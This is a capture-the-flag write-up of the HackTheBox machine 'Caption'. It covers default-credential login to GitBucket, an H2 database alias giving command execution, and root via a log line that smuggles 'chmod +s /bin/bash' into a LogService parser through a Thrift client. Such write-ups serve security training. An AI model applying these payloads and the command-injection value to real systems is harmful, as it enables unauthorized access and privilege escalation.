HackTheBox: Caption
Caption is a HackTheBox hard machine where we discovered SSH, HTTP, and GitBucket services. We exploited a GitBucket vulnerability to gain access to the system and found a LogService flaw that allowed arbitrary command execution. We used this to set SUID on /bin/bash
and escalated to root.
Enumeration
Nmap Scan
As usual, we start with an nmap on 10.129.46.159
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ nmap -sC -sV 10.129.46.159 -oN caption.nmap -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 17:13 CET
Nmap scan report for 10.129.46.159
Host is up (0.078s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
8080/tcp open http-proxy
|_http-title: GitBucket
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Mon, 16 Sep 2024 16:13:28 GMT
| Set-Cookie: JSESSIONID=node01rbmeip9c4ygqaxepo9dcelc2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5920
[...]
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.13 seconds
Looking at the results we get 3 ports open.
- 22/SSH OpenSSH - open
- 80/HTTP - open
- 8080/HTTP GitBucket - open
Having the domain name in the nmap
scan we added that to our /etc/hosts
file.
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 voldemort
10.129.46.159 caption.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Web Application - 80
Taking a look at the web app at port 80 we get a login page.
Trying default credentials as always, root:root
, admin:admin
, admin:root
didn’t work. Lookig around for any useful information we couldn’t find anything.
Web Application - 8080
Not finding anything on port 80 we decided to take a look at port 8080 which is a GitBucket web application instance from the nmap scan.
Looking around, we couldn’t find any publicly available repository so we knew that we had to sign in in order to enumerate further.
As we always do, we started trying basic/default credentials and we got a hit! we were able to log in using root:root
.
Exploitation
GitBucket Credentials Leak
Upon logging in we get 2 private repositories available, Logservice and Caption-Portal.
Taking a look at the Caption-Portal repository we got the web app hosted on port 80 files.
Looking through the files we couldn’t find anything interesting we didn’t find any credentials. Going through the different commits on the repo we did find an interesting commit called Update access control which leaked the credentials of margo’s account on port 80.
Initial Access
Connecting with the credentials we got on the login page we didn’t find anything interesting other than an endpoint at /logs
which gives us a 403 Forbidden.
As it looks like a rabbit hole, we decided to go back to the GitBucket instance and enumerate further on. Being a gitbucket admin we could access the System Administration where we found Database Viewer we were able to execute SQL queries.
Having in mind that the GitBucket is a java web application, from the cookie : JSESSIONID, we thought of H2 which is a relational database management system written in Java (we can confirm this by running incorrect queries), we looked up for the version using SELECT H2VERSION() FROM DUAL
and it’s 1.4.199. Googling H2 java 1.4.199 exploit
we found this medium post talking about Chaining Vulnerabilities in H2 Database for RCE.
So basically, the H2 is vulnerable to RCE where we can execute arbitrary commands. We first start by creating an alias called REVEXEC which will allow us later on to run shell commands and execute code.
1
2
3
4
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}$$;
Once executed we can now call our alias to execute commands.
Looking through margo files we found a private key which will allow us to connect to the box!
Copying the private key to our box, chmod 700 it we were able to successfully connect to margo’s account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ ssh -i id_ecdsa margo@caption.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Sep 16 05:33:10 PM UTC 2024
System load: 0.0 Processes: 233
Usage of /: 68.7% of 8.76GB Users logged in: 0
Memory usage: 17% IPv4 address for eth0: 10.129.46.159
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Last login: Tue Sep 10 12:33:42 2024 from 10.10.14.23
margo@caption:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ+oeO5zDcVZ8LRf+SVJshyvmkTmfE6T7b+RKTivGecW str4ngerx@voldemort' > ~/.ssh/authorized_keys
margo@caption:~$ ls
app copyparty-sfx.py gitbucket.war logs user.txt
margo@caption:~$
Privilege Escalation
For the privilege escalation, we leveraged the Thrift client to interact with a service called LogService, which was running on the target machine.
Our goal was to exploit a vulnerability in the LogService to achieve remote code execution (RCE) and escalate our privileges.
We will first start by cloning the Logservice repository to retrieve the log_service.thrift
on the victim machine as margo (Username and Password are the GitBucket creds from earlier : root:root
)
1
2
3
4
5
6
7
8
9
10
11
margo@caption:~$ git clone http://caption.htb:8080/git/root/Logservice.git
Cloning into 'Logservice'...
Username for 'http://caption.htb:8080': root
Password for 'http://root@caption.htb:8080':
remote: Counting objects: 32, done
remote: Finding sources: 100% (32/32)
remote: Getting sizes: 100% (23/23)
remote: Compressing objects: 100% (8702/8702)
Receiving objects: 100% (32/32), 8.16 KiB | 1.02 MiB/s, done.
Resolving deltas: 100% (9/9), done.
remote: Total 32 (delta 9), reused 11 (delta 0)
We then need to generate the Python client code from the log_service.thrift
file, which defines the structure of the LogService and its available methods.
1
2
3
4
5
6
7
8
margo@caption:~$ ls
app copyparty-sfx.py gitbucket.war logs Logservice user.txt
margo@caption:~$ cd Logservice/
margo@caption:~/Logservice$ ls
gen-go log_service.thrift README.md server.go
margo@caption:~/Logservice$ thrift --gen py log_service.thrift
margo@caption:~/Logservice$ ls
gen-go gen-py log_service.thrift README.md server.go
Once done, we need to send the generated gen-py
and the log_service.thrift
file to our local host.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/]
└─$ scp -r margo@caption.htb:/home/margo/Logservice/gen-py .
ttypes.py 100% 440 2.6KB/s 00:00
LogService-remote 100% 2777 16.4KB/s 00:00
constants.py 100% 366 2.1KB/s 00:00
__init__.py 100% 48 0.3KB/s 00:00
LogService.py 100% 8031 43.5KB/s 00:00
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ scp margo@caption.htb:/home/margo/Logservice/log_service.thrift .
log_service.thrift 100% 92 0.7KB/s 00:00
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ ls
caption.nmap gen-py id_ecdsa log_service.thrift
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$
On the victim machine we now need to create a malicious log file that will set an SUID on the /bin/bash
binary at /tmp/malicious.log
.
1
127.0.0.1 "user-agent":"'; chmod +s /bin/bash #"
Back to our host, we need to port forward the 9090 port to us and then create a client using the python script below.
⚠️ Note: You might need to install the thrift module, use pip3 install thrift
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService # Import generated Thrift client code
def main():
# Set up a transport to the server
transport = TSocket.TSocket('localhost', 9090)
# Buffering for performance
transport = TTransport.TBufferedTransport(transport)
# Using a binary protocol
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client to use the service
client = LogService.Client(protocol)
# Open the connection
transport.open()
try:
# Specify the log file path to process
log_file_path = "/tmp/malicious.log"
# Call the remote method ReadLogFile and get the result
response = client.ReadLogFile(log_file_path)
print("Server response:", response)
except Thrift.TException as tx:
print(f"Thrift exception: {tx}")
# Close the transport
transport.close()
if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ ssh -L 9090:127.0.0.1:9090 margo@caption.htb -N -f
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ cd gen-py
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$ nano script.py
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$ ls
__init__.py log_service script.py
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$ python3 script.py
Server response: Log file processed
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$
Once executed we can confirm that the /bin/bash
binary has now an SUID on and can priv esc to root.
1
2
3
4
5
6
7
8
9
margo@caption:~/Logservice$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
margo@caption:~/Logservice$ /bin/bash -p
bash-5.1# id
uid=1000(margo) gid=1000(margo) euid=0(root) egid=0(root) groups=0(root),1000(margo)
bash-5.1# whoami
root
bash-5.1# ls /root
go go.mod go.sum output.log root.txt server.go
And with that, we can say that we rooted the box! There might be some other ways to do it but this method works just fine.